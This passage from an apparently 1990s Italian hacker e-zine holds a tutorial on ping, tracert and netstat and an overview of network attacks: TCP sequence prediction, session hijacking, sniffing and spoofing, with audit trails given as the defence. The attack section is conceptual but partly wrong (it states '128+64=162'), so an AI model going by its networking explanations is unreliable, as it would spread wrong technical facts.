il TCP fornisce un servizio di tipo Connection-Oriented o affidabile, le
informazioni sono trasmesse come una sequenza di byte inoltre, come potete
vedere, nell'header TCP troviamo tutto cio' che serve a mantenere il controllo
della connessione.

Bene, credo che a questo punto il mio compito sia finito, se volete il
commento dettagliato degli header e, siete curiosi di sapere come si
stabilisce una connessione TCP/IP leggetevi BFI4, precisamente [ PR0GETT0
0N0S3NDAi - PARTE I ] scritto da FuSyS, avrete cosi' una panoramica completa.
Se e' la prima volta che affrontate il TCP/IP vi consiglio di non prendere
subito in considerazione le varie tecniche di spoofing (e' solo un consiglio).

Alla prossima...
[ DarkSide ]

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ NETWORK UTILITIES FOR DUMMIES ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Cenni sul TCP/IP

Questa sigla che molti dei lettori conosceranno indica il protocollo che e'
alla base del funzionamento di Internet e di moltissime reti locali; in
realta' non si tratta di un solo protocollo, ma di due, che consentono in
sostanza a un computer di essere rintracciabile nell'ambito della rete e di
scambiare flussi (stream) di dati con altri computer.

In realta' i protocolli TCP e IP sono solo una parte di un complesso di
protocolli che vanno dal livello piu' basso, in cui si specificano i
parametri elettrici e in generale fisici dei mezzi di trasmissione, a quello
piu' alto che definisce il modo in cui le funzionalita' di rete sono
presentate dall'applicazione all'utente. Questo complesso si chiama OSI
(Open Systems Interconnection), e in pratica ognuno dei protocolli che lo
costituisce si appoggia al precedente, formando una pila, o stack, ed ecco
perche', parlando dell'implementazione delle funzionalita' di rete nei nostri
computer, si parla di "stack TCP/IP".

Il protocollo, dei due, di livello piu' basso, e' l'IP, o Internet Protocol.
Esso si colloca al terzo livello nella gerarchia OSI, detto livello di rete,
e come gli altri protocolli incapsula i dati che trasporta con delle
informazioni supplementari che consentono la comunicazione fra computer. Di
tali informazioni, quella che interessa in questa sede e' il cosiddetto
Indirizzo IP, che e' quel famoso numero diviso in quattro parti che sara'
capitato di vedere, per esempio, nella barra di stato del nostro browser.
L'indirizzo IP e' un numero di 32 bit che viene assegnato al computer in
maniera tale che questo sia l'unico nella rete con quell'indirizzo e
identifichi il computer stesso.

Al di sopra del protocollo IP ci sono due protocolli, che sono il TCP e l'UDP.
Il primo, detto Circuito Virtuale, e' il piu' famoso, ed e' usato per molti
dei servizi di rete piu' usati, come l'HTTP (pagine web), l'NNTP (news) e il
POP3 (posta); esso fa si' che i due computer che dialogano vedano un flusso
ordinato di dati, come se la comunicazione avvenisse direttamente, tranne
ovviamente i ritardi dovuti alla trasmissione. E' il protocollo che si occupa
della gestione degli errori, delle ritrasmissioni, dei pacchetti persi o
duplicati, e il programma destinatario riceve i dati nello stesso ordine in
cui il mittente li ha mandati. Il protocollo UDP detto anche Datagram e'
invece privo di queste funzionalita', e' piu' semplice ma anche piu' insicuro;
in particolare non garantisce l'ordine di arrivo dei pacchetti e nemmeno che
arrivino.


I programmi di rete a riga di comando

Tutti i sistemi operativi con funzionalita' di rete, fra cui le varie versioni
di Windows e di Unix, mettono a disposizione dei programmi per testare lo
stato di particolari aspetti della rete, o di singole macchine ad essa
collegate. Questi programmi sono a riga di comando, il che significa che per
utilizzarli bisogna aprire una shell e digitare il nome del programma seguito
da eventuali parametri. In Windows 9x o NT "aprire una shell" significa
cliccare su Avvio (o Start), e scegliere Programmi -> Prompt di MS-DOS; in
alternativa, Avvio (o Start) -> Esegui... e scrivere "command.com" seguito
dal tasto Enter. In Unix, se si e' in ambiente grafico X-Window, bisogna
aprire una console, mentre se siamo in ambiente a riga di comando possiamo
lanciare i programmi direttamente (al limite passando a un'altro terminale
virtuale con ALT+<Tasto_Funzione>).

I suddetti programmi di rete sono principalmente tre: ping, traceroute e
netstat. Nel seguito vedremo brevemente ognuno di questi tre.


Ping: Ci sei o no?

Il comando ping serve principalmente a vedere se una certa macchina di rete
e' attiva oppure no, ed ha la seguente forma:

C:\WINDOWS>ping /?

Sintassi: ping [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS]
[-r numero] [-s numero] [[-j elenco-host] | [-k elenco-host]]
[-w timeout] elenco-destinazioni

Opzioni:
-t Esegue Ping sull'host specificato finche' non viene interrotto.
Per vedere le statistiche e continuare, premere Control-Inter;
per interrompere, premere Control-C.
-a Risolve gli indirizzi in nomi host.
-n numero Invia numero di richieste di eco.
-l lunghezza Invia dimensione buffer.
-f Imposta il flag Non frammentare nel pacchetto.
-i TTL Vita pacchetto.
-v TOS Tipo di servizio.
-r count Registra route per il conteggio dei punti di passaggio.
-s count Marca orario per il conteggio dei punti di passaggio.
-j elenco-host Instradamento libero lungo l'elenco host.
-k elenco-host Instradamento ristretto lungo l'elenco host.
-w timeout Timeout in millisecondi per ogni risposta.


C:\WINDOWS>

Come si puo' vedere, i parametri accessori sono diversi; i piu' importanti
sono il primo e l'ultimo, che specificano rispettivamente di continuare
indefinitamente e di aspettare la risposta al massimo fino al tempo
specificato. E' importante anche il -r, che permette di misurare quanti
passaggi intermedi bisogna attraversare per raggiungere il computer
specificato.

Vediamo un esempio che funziona sicuramente, qualunque sia il computer da cui
trasmettiamo:

C:\WINDOWS>ping 127.0.0.1

Esecuzione di Ping 127.0.0.1 con 32 byte di dati:

Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64
Risposta da 127.0.0.1: byte=32

  
durata<10ms TTL=64
Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64
Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64

Statistiche Ping per 127.0.0.1:
Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 0ms, Medio = 0ms

C:\WINDOWS>

Come forse saprete, 127.0.0.1 e' un indirizzo IP speciale, che indica sempre
la macchina locale, infatti un'alias predefinito per questo indirizzo e'
localhost:

C:\WINDOWS>ping localhost

Esecuzione di Ping bejor [127.0.0.1] con 32 byte di dati:

Risposta da 127.0.0.1: byte=32 durata=1ms TTL=64
Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64
Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64
Risposta da 127.0.0.1: byte=32 durata<10ms TTL=64

Statistiche Ping per 127.0.0.1:
Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 1ms, Medio = 0ms

C:\WINDOWS>

Come si puo' vedere, se si utilizza un nome alfanumerico invece di un
indirizzo IP, ping risponde evidenziando il vero nome della macchina pingata
(nell'esempio, bejor e' il nome che ho dato al mio computer) e fra parentesi
quadre l'indirizzo IP. Ping invia alla macchina destinazione 4 pacchetti da
32 byte ciascuno, e per ciascuno di essi riporta delle statistiche: in
particolare, il numero di byte spediti, il tempo impiegato e il Tempo di Vita
dei pacchetti stessi. Infine, vengono mostrate le statistiche cumulative
della sessione, cioe' la percentuale delle trasmissioni andate a buon fine e
i tempi di andata/ritorno impiegati. Nel caso si pinghi la macchina locale
tali valori sono poco significativi, per cui e' interessante vedere cosa dice
il ping nel caso lo si testi su una macchina remota:

C:\WINDOWS>ping volftp.tin.it

Esecuzione di Ping cam.ca.tin.it [195.31.191.10] con 32 byte di dati:

Richiesta scaduta.
Risposta da 195.31.191.10: byte=32 durata=940ms TTL=246
Risposta da 195.31.191.10: byte=32 durata=626ms TTL=246
Risposta da 195.31.191.10: byte=32 durata=471ms TTL=246

Statistiche Ping per 195.31.191.10:
Pacchetti: Trasmessi = 4, Ricevuti = 3, Persi = 1 (25% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 471ms, Massimo = 940ms, Medio = 509ms

C:\WINDOWS>

Quella sera il server di VolFTP doveva essere abbastanza carico, dato che,
dei 4 pacchetti "sonda", uno e' andato perso, cioe' la relativa risposta non
e' mai arrivata, mentre le altre tre risposte sono arrivate dopo un tempo
relativamente lungo... la prima addirittura dopo "ben" quasi un secondo. Come
la statistica riepilogativa riporta, il tempo medio di risposta dal computer
pingato, in quel momento, era di circa mezzo secondo.

Vediamo invece cosa succede nel caso in cui la macchina pingata non risponda:

C:\WINDOWS>ping cardassia

Esecuzione di Ping cardassia [212.42.11.154] con 32 byte di dati:

Host di destinazione irraggiungibile.
Host di destinazione irraggiungibile.
Host di destinazione irraggiungibile.
Host di destinazione irraggiungibile.

Statistiche Ping per 212.42.11.154:
Pacchetti: Trasmessi = 4, Ricevuti = 0, Persi = 4 (100% persi),
Tempo approssimativo percorsi andata/ritorno in millisecondi:
Minimo = 0ms, Massimo = 0ms, Medio = 0ms

C:\WINDOWS>

Per questo esempio, ho modificato il mio file C:\Windows\hosts associando al
nome cardassia l'indirizzo IP 212.42.11.154, totalmente inventato. Non
essendoci una macchina con quel nome e quell'indirizzo collegata al mio
computer, ping ha risposto col messaggio "Host di destinazione
irraggiungibile." e riportando la perdita di tutti e 4 i pacchetti inviati
(che si sono persi nell'iperspazio, dato che il mio computer non ha per ora
schede di rete attaccate e in quel momento non ero connesso a Internet). Nel
caso in cui si ottenga una risposta del genere, pero', non e' detto che la
macchina destinazione sia spenta e/o scollegata dalla rete. Dal momento che
il ping puo' essere usato per sferrare degli attacchi contro un computer in
rete, una macchina puo' essere programmata per ignorare i ping ad essa
diretti, e in tal caso l'output di ping sarebbe del tipo di quello mostrato
sopra anche se la macchina remota e' funzionante e collegata alla rete.
Ricordo infine che quello descritto e' il ping come funziona sul mio sistema
Windows 95a con Winsock 2.2 e Accesso Remoto 1.3; con altre versioni e/o altri
sistemi operativi il funzionamento o le opzioni possono differire (per
esempio, sotto Unix l'invio dei pacchetti continua finche' non si termina il
programma).


Il DNS: dimmi come ti chiami e ti diro' che numero hai

Si e' parlato sopra di alias e nomi alfanumerici, oltre che di indirizzi IP.
E' utile a questo punto chiarire alcune cose a questo proposito. Anzitutto, i
programmi che usiamo per la posta, il web, l'ftp e qualunque altro servizio
di rete, e le implementazioni dei protocolli nei vari sistemi operativi,
usano e capiscono esclusivamente gli indirizzi IP numerici di 4 byte. I nomi
alfanumerici, o Alias, del tipo volftp.tin.it, invece, sono stati introdotti
per facilitare l'uso dei suddetti programmi (si pensi alla scomodita' di dover
ricordare o trascrivere un indirizzo di diverse cifre, rispetto alla facilita'
di ricordare un nome di computer come quello arcinoto appena menzionato). E'
stato quindi necessario introdurre un servizio di rete che permettesse, dato
un nome alfanumerico di computer, di risalire all'indirizzo IP; tale servizio
si chiama DNS (Domain Name Service), ed e' svolto da macchine che contengono
dei database in cui a un nome alfanumerico viene associato un indirizzo IP.
Nei sistemi Unix e Windows esiste un file "hosts" nella directory di sistema,
che contiene delle righe del tipo:

127.0.0.1 localhost
212.42.11.154 cardassia.pippo.net
212.42.11.154 miocomputer.pippo.it
[eccetera...]

Come si vede, e' possibile associare lo stesso indirizzo IP a diversi nomi
alfanumerici. Le macchine che forniscono il servizio DNS cooperano fra loro,
dato che non e' possibile mettere tutto il database dei nomi in un solo
computer, sia per la dimensione che per la variabilita'; nel caso di una rete
aziendale la cosa sarebbe fattibile, ma Internet copre tutto il pianeta... In
ogni caso, e' grazie a questo servizio che e' possibile evitare di scrivere
il numero IP nella riga di indirizzo del browser, cosa che diventa invece
indispensabile se il DNS del nostro provider e' temporaneamente fuori uso
(succede...). In casi del genere, infatti, la rete e' perfettamente
funzionante, ma qualunque nome da noi inserito risulterebbe inesistente per
il client che usiamo, dato che non c'e' il server DNS che lo traduce.


Traceroute: Come si arriva a un computer remoto

Traceroute ("Traccia la Rotta") e' un programma che serve a determinare quale
percorso segue un collegamento dal nostro computer a una qualunque altra
macchina della rete. Vediamo i suoi parametri:

C:\WINDOWS>tracert -?

Sintassi: tracert [-d] [-h max_salti] [-j elenco-host] [-w timeout]
nome_destinazione

Opzioni:
-d Non risolve gli indirizzi in nome host.
-h max_salti Numero massimo di punti di passaggio per ricercare
la destinazione.
-j elenco-host Instradamento libero lungo l'elenco host.
-w timeout Timeout in millisecondi per ogni risposta.

C:\WINDOWS>

Il nome del computer destinazione e' l'unico parametro obbligatorio. Come si
puo' vedere, e' possibile specificare anche un numero massimo di tappe
intermedie, una lista di macchine intermedie per cui si deve obbligatoriamente
passare, e un tempo massimo di risposta. Da notare che i parametri accettati
possono variare in funzione della versione del programma e del sistema
operativo in cui ci troviamo.

Proviamo per esempio a vedere che distanza ci separa da un server fra i piu'
noti e richiesti, cioe' quello di VolFTP. Apriamo una shell (Prompt DOS se
sotto Windows, bash, csh o qualunque altra se sotto Unix), e scriviamo:

C:\WINDOWS>tracert volftp.tin.it

Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10]
su un massimo di 30 punti di passaggio:

1 1787 ms 2211 ms 1721 ms pppsrv05.stm.it [195.62.32.50]
2 2610 ms 1326 ms 1348 ms world.stm.it [195.62.32.11]
3 3098 ms 2099 ms 1729 ms eth0-ibs-gw.stm.it [195.62.34.2]
4 1976 ms 3040 ms 2394 ms r-rm2-torreargentina.interbusiness.it [151.99.9.181]
5 * * * Richiesta scaduta.
6 * * * Richiesta scaduta.
7 2555 ms 1736 ms 3118 ms r-mi5-rm5-atm.interbusiness.it [151.99.101.1]
8 * * 3029 ms r-mi6-fa2.interbusiness.it [151.99.100.37]
9 2221 ms 2606 ms * r-tin-mi6-atm.interbusiness.it [151.99.107.134]
10 * * * Richiesta scaduta.
11 * * * Richiesta scaduta.
12 * * 1753 ms cam.ca.tin.it [195.31.191.10]

Rilevazione completata.

C:\WINDOWS>

NOTA: Sotto Unix il comando non e' tracert ma traceroute.
Come si puo' vedere dal messaggio introduttivo, il comando traceroute riesce
a rintracciare un computer remoto se questo non e' separato dal nostro da piu'
di trenta tappe intermedie (questi "punti di passaggio" in termine tecnico
sono detti Hops o "salti"). Il messaggio introduttivo ci dice anche che
volftp.tin.it si chiama in realta' cam.ca.tin.it e che il suo indirizzo IP e'
195.31.191.10.

Di seguito il programma mostra il percorso completo che separa il computer da
cui viene eseguito traceroute dal computer che si vuole tracciare. Il primo
elemento della lista e' il POP a cui siamo collegati, nel caso di un
collegamento tramite provider: l'esempio sopra si riferisce a un traceroute
verso volftp.tin.it lanciato dal mio computer di casa (il mio provider e'
Agora' Telematica). Il POP a cui ero collegato era pppsrv05.stm.it, e per
arrivare da quest'ultima macchina a cam.ca.tin.it sono stati compiuti altri
11 passaggi.

I numeri sulle tre colonne di sinistra indicano il tempo in millisecondi
trascorso in attesa della risposta del server a cui la riga si riferisce, e
l'asterisco significa che la risposta non e' arrivata entro il tempo massimo
di attesa. Dal valore dei tempi di risposta si puo' intuire la bonta' del
collegamento verso l'host destinazione: nell'esempio sopra riportato, lo
stato del collegamento e' pessimo (addirittura tempi sopra i 3 secondi), e
quindi si puo' supporre che, per esempio, un download da VolFTP in quel
momento andrebbe assai lento. In alcuni casi nessuna delle tre risposte e'
arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." invece
del nome del server. In generale, piu' bassi sono i tempi delle tre colonne
di sinistra e migliore e' la qualita' del collegamento verso la macchina
destinazione.

Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il
collegamento verso un sito web o ftp (o qualunque altro servizio) e' lento,
possiamo usare traceroute per vedere il percorso seguito dai pacchetti, e in
base all'output di traceroute e' possibile capire se il problema dipende dal
nostro provider, dalla macchina destinazione, da una macchina intermedia o da
un tratto di linea fisica che unisce due di queste. Oppure, se dobbiamo
scaricare un file piuttosto pesante e conosciamo almeno 2 siti ftp che lo
contengono, con traceroute possiamo stabilire da quale sito conviene
effettuare il download.


Netstat: chi c'e' in ascolto?

L'ultimo programma di rete che esamineremo si chiama netstat, che ha i
seguenti argomenti:

C:\WINDOWS>netstat /?

Visualizza statistiche su protocollo e connessioni di rete TCP/IP correnti.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [intervallo]

-a Visualizza tutte le connessioni e le porte di ascolto.
-e Visualizza le statistiche Ethernet. L'opzione puo' essere
associata all'opzione -s.
-n Visualizza gli indirizzi e i numeri di porta in forma numerica.
-p proto Visualizza connessioni del protocollo specificato da 'proto';
'proto' puo' essere TCP o UDP. Se usato con l'opzione -s per le
statistiche, 'proto' puo' essere TCP, UDP, o IP.
-r Visualizza la tabella di routing.
-s Visualizza le statistiche per protocollo. Per impostazione
predefinita, le statistiche sono visualizzate per TCP, UDP
e IP; l'opzione -p puo' essere utilizzata per specificare
un sottoinsieme dell'impostazione predefinita.
intervallo Rivisualizza le statistiche selezionate, interrompendo
per un numero di secondi pari a "intervallo" tra ogni
visualizzazione. Premere Control-C per fermare la visualizzazione
delle statistiche. Se omesso, netstat stampera' le informazioni
di configurazione correnti una sola volta.


C:\WINDOWS>

Il significato dei parametri opzionali e' ben spiegato nell'help in linea.
Vediamo un primissimo esempio:

C:\WINDOWS>netstat -na

Connessioni attive

Proto Indirizzo locale Indirizzo remoto Stato

C:\WINDOWS>

Questo e' quel che dovrebbe apparire eseguendo netstat su un computer senza
servizi di rete installati e senza collegamenti attivi, cioe' nulla. Se
invece, sotto tali condizioni, netstat mostra delle connessioni in ascolto,
e' il caso di rivedere la configurazione del sistema e/o di cercare bene la
presenza di programmi di amministrazione/intrusione remota, come i famigerati
NetBus o Back Orifice. Vediamo ora alcune statistiche che e' possibile
ottenere con netstat.

C:\WINDOWS>netstat -na

Connessioni attive

Proto Indirizzo locale Indirizzo remoto Stato
TCP 0.0.0.0:0 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1036 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1037 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1038 0.0.0.0:0 LISTENING
TCP 195.62.37.17:1026 195.62.32.254:119 ESTABLISHED
TCP 195.62.37.17:1028 195.62.32.254:119 ESTABLISHED
TCP 195.62.37.17:1035 194.133.0.17:80 CLOSE_WAIT
TCP 195.62.37.17:1036 194.133.0.17:80 CLOSE_WAIT
TCP 195.62.37.17:1037 194.133.0.17:80 CLOSE_WAIT
TCP 195.62.37.17:1038 194.133.0.17:80 CLOSE_WAIT

C:\WINDOWS>

Qui ho chiesto a netstat di mostrare tutte le connessioni attive usando gli
indirizzi numerici per la macchina locale e quella remota. Omettendo
l'opzione "n" avremmo ottenuto i nomi alfanumerici sia per i computer che per
le porte (i numeri dopo il ":"), cosa che avrebbe reso un po' piu' lunga
l'esecuzione di netstat a causa delle necessarie richieste al DNS.
Tralasciando le righe con indirizzi 0.0.0.0, il significato di questo output
e' che nel momento in cui netstat e' stato eseguito c'erano in corso due
connessioni al server di news (porta 119 remota), mentre erano in fase di
chiusura 4 connessioni a un sito web (porta 80 remota). Se le righe di
netstat usato con queste opzioni terminano con ESTABLISHED, denotano una
connessione attiva, su cui stanno viaggiando dati; LISTENING indica un
demone, detto anche server, che e' in attesa di connessioni su una determinata
porta, mentre CLOSE_WAIT e TIME_WAIT indicano una connessione in via di
chiusura, in diverse fasi del procedimento.

Da notare che su un computer domestico, in condizioni normali, non dovrebbero
esserci righe che terminano con LISTENING. Un'eccezione e' costituita da
macchine su cui e' installato e in esecuzione il famigerato Personal Web
Server (TM) di Microsoft, che permette di gestire un sito web "casalingo" e
come tutti i server web si mette in ascolto sulla porta 80. Piu' grave e' il
caso in cui "qualcosa" risulti in ascolto su porte oltre la 1023, in
particolare su numeri molto alti (per esempio 31337 o 12345). In questi casi,
occorre controllare che non ci siano intrusi nel sistema, soprattutto se non
si ha ICQ, altro programma che ascolta su porte alte. Per quel che riguarda
le porte, sia Windows che Unix hanno nella directory di sistema un file di
nome "services" che contiene la mappatura dei servizi standard, come il web,
la posta e le news (e molti altri), situati su porte <1024.

C:\WINDOWS>netstat -es
Statistiche interfaccia

Ricevuti Trasmessi

Byte 349919 56810
Pacchetti unicast 881 769
Pacchetti non-unicast 10 10
Scarto 0 0
Errori 0 0
Protocolli sconosciuti 23

Statistiche IP

Pacchetti ricevuti = 882
Errori di intestazione ricevuti = 0
Errori di indirizzo ricevuti = 5
Datagrammi inoltrati = 0
Protocolli sconosciuti ricevuti = 0
Pacchetti ricevuti scartati = 0
Pacchetti ricevuti consegnati = 882
Richieste di output = 774
Routing scartati = 0
Pacchetti di output scartati = 0
Pacchetti output senza route = 0
Richieste di riassemblaggio = 0
Riassemblaggi riusciti = 0
Errori di riassemblaggio = 0
Datagrammi frammentati = 0
Errori frammentazione datagrammi = 0
Frammenti creati = 0

Statistiche ICMP

Ricevuti Trasmessi
Messaggi 23 23
Errori 0 0
Desti. irraggiungibile 0 0
Tempo scaduto 0 0
Problemi di parametro 0 0
Quench sorgente 0 0
Reindirizzamenti 0 0
Echo 8 12
Risposte echo 12 8
Marcature orario 0 0
Risposte marcatura orario 0 0
Mask indirizzo 0 0
Risposte mask indirizzo 0 0

Statistiche TCP

Aperture attive = 10
Aperture passive = 0
Tentativi connessione non riusciti = 0
Connessioni reimpostate = 4
Connessioni correnti = 6
Segmenti ricevuti = 852
Segmenti trasmessi = 725
Segmenti ritrasmessi = 19

Statistiche UDP

Datagrammi Ricevuti = 5
Nessuna porta = 15
Errori in ricezione = 0
Datagrammi trasmessi = 5

C:\WINDOWS>

Le opzioni "e" ed "s" forniscono delle statistiche riassuntive sulla
connessione in generale, e le denominazioni dei vari valori sono abbastanza
esplicative. Esaminando questo output si puo' capire la bonta' della nostra
connessione e della nostra linea.

C:\WINDOWS>netstat -r

Tabella di Route

Route attive:

Indirizzo rete Maschera Indirizzo gateway Interfac. Metric
0.0.0.0 0.0.0.0 195.62.38.6 195.62.38.6 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
195.62.38.0 255.255.255.0 195.62.38.6 195.62.38.6 1
195.62.38.6 255.255.255.255 127.0.0.1 127.0.0.1 1
195.62.38.255 255.255.255.255 195.62.38.6 195.62.38.6 1
224.0.0.0 224.0.0.0 195.62.38.6 195.62.38.6 1
255.255.255.255 255.255.255.255 195.62.38.6 195.62.38.6 1

Connessioni attive

Proto Indirizzo locale Indirizzo remoto Stato
TCP bejor:1026 news.stm.it:nntp ESTABLISHED
TCP bejor:1028 news.stm.it:nntp ESTABLISHED

C:\WINDOWS>

Infine, l'ultimo output esaminato ci permette di avere una "mappa stradale"
della rete nei dintorni del nostro computer. La seconda riga e' relativa
all'indirizzo locale, mentre le successive danno indicazioni su come il
nostro computer riesce ad andare in rete, cioe' su quale macchina funge da
"cancello" (gateway) verso la rete.


Conclusioni

Questa piccola rassegna non pretende di esaurire l'argomento, per il quale
occorrerebbe un'intera enciclopedia, ma e' un punto di partenza che la
curiosita' personale puo' eventualmente approfondire. Segnalate pure errori o
imprecisioni, il mio indirizzo web e' in fondo all'articolo. Per chi mastica
l'inglese, una raccolta utile di documenti in cui vengono esposti i vari
servizi della rete, fra cui quelli citati qui, e' costituita dalle RFC, file
di testo che contengono i dettagli dei vari protocolli e i comandi che ognuno
di essi accetta... scoprite per esempio come si puo' leggere la posta da un
terminale carattere (come il Prompt MS-DOS) facendo telnet sulla porta 110.

Ciaociao. :-)))

e-mail: M.Baldinelli@agora.stm.it
home page di Security FAQ: http://members.xoom.com/gouldukat/

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ DALLA PARTE DEI SYSADMIN ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Articolo redatto da Alpha-666 o Zeros
30/04/1999 12.36 AM
Irc.tin.it #hackernow

Parte nø1.
Nonostante questo articolo sembri in contro tendenza con l'argomentazione
generare proposta nell'e-zine, esso puo' dare una maggiore visione d'insieme
sulle tecniche di attacco e difesa di un server. Per cominciare esistono
differenti tipi di attacchi:
1) l'attacco a previsione della sequenza di numeri dei protocolli TCP/IP
rappresenta la forma piu' semplice di attacco;
2) il dirottamento di sessioni TCP rappresenta la piu' grave minaccia per i
sistemi sicuri;
3) lo "sniffing" dei pacchetti in passaggio nella rete in genere precede un
dirottamento o uno "spoofing"
4) con lo sfoofing, l'hacher si sostituisce a un indirizzo IP per emulare un
server fidato in una connessione di rete esistente;
5) gli attacchi passivi, che fanno uso di "sniffer", sono attualmente molto
comuni in Internet;
6) molti attacchi si concentrano sulla violazione o sull'alterazione delle
trasmissioni trasmissioni HTTP o delle connessioni TCP in corso;
7) attaccare installazioni di server SSL (Secure Socket Layer) gli attacchi
possono utilizzare la tecnica hyperlink spoofing;
8) la tecnica del Web-spoofing offre agli hacker il modo di intercettare
tutte le trasmissioni che un utente o un server si scambiano durante una
serie di transazioni HTTP;

Spiegazione:
1) Il tipo piu' semplice.
Ogni computer della rete ha un proprio IP univoco, infatti ogni computer
connesso ad una rete allega a ogni pacchetto trasmesso l'indirizzo IP di
destinazione e un numero univoco chiamato numero di sequenza. All'interno
di una connesione TCP; il computer ricevente accetta solo pacchetti con
l'indirizzo IP e il numero di sequenza corretto. Inoltre molti dispositivi
di sicurezza, inclusi i router, consentono trasmissioni in rete solo verso
e da computer con determinati indirizzi IP. L'attacco a previsione del numero
di sequenza TCP/IP utilizza il modo in cui le rete indirizzano i computer e
creano la sequennza di pacchetti. In pratica l'hacker esegue l'attacco a
previsione del numeri di sequenza TCP/IP in due fasi. Nella prima fase cerca
di determinare l'indirizzo IP del server, generelmente mettendosi in ascolto
dai pacchetti Internet, provando a specificare in ordine vari numeri di host
oppure connettendosi al sito mediate browser Web e osservando l'indirizzo IP
nella barra di stato. Poiche' l'hacker sa che gli altri computer della rete
condividono una parte di indirizzo IP del server, cerchera' di simulare un
indirizzo IP che gli consenta di by-passare il router e di accedere al
sistema come fosse un utente interno. Ad esempio un sistema ha l'indirizzoo
IP 192.0.0.17, sapendo che in una rete di Classe C vi possono essere fino a
256 computer, potra' carcare di indivinare gli indirizzi modificandone
solamente l'ultimo byte. Naturalmente come tutti sanno gli indirizzi IP
specificano quanti computer sono connessi alla rete. In questo caso la somma
dei due bit piu' significativi (128+64=162) nel byte piu' elevato indica che
la rete e' di classe C. Dopo che l'hacker avra' iniziato a trovare gli
indirizzi della rete, iniziera' anche a controllare i numeri si sequenza
dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le
trasmissioni della rete, l'hacker cerchera' di prevedere il prossimo numero
di sequenza inserendosi fra il server e l'utente. Poiche' esso ha gia'
l'indirizzo IP che gli consentono di intercettare le trasmissioni con
l'utente. Quindi avuto l'accesso al sistema tramite tale attacco, puo'
accedere alla info che il sistema di comunicazione trasmette al server,
inclusi i file password, nomi di login, dati riservati, ecc. In genere si
usa questo tipo di attacco come preparativo per l'attacco vero e proprio al
server oppure come base per l'attacco di un'altro server della rete.
Questo e' quello che ha fatto l'hacker ora vediamo come il sysadm si difenda
da tale attacco. Infatti il modo piu' semplice ed efficace per difendersi da
questo tipo di attacco consiste nell'assicurarsi che il router, i firewall e
ogni server del sistema abbiano attivato la protezione audit-trail.
Gli audit-trial sono programmi che permettono di visualizzare l'attivita'
dell'hacker che tenta di attraversare il router e il firewall e quando tenta
di accedere al server. L'audi-trai mosta una sequenza di questo tipo:
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Access Denied. IP address unknow
Gli audit-trial e i successivi metodi di attacco verranno trattati nel
successivo articolo.

Alpha-666

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ L'ABC DELLE RETI ³º
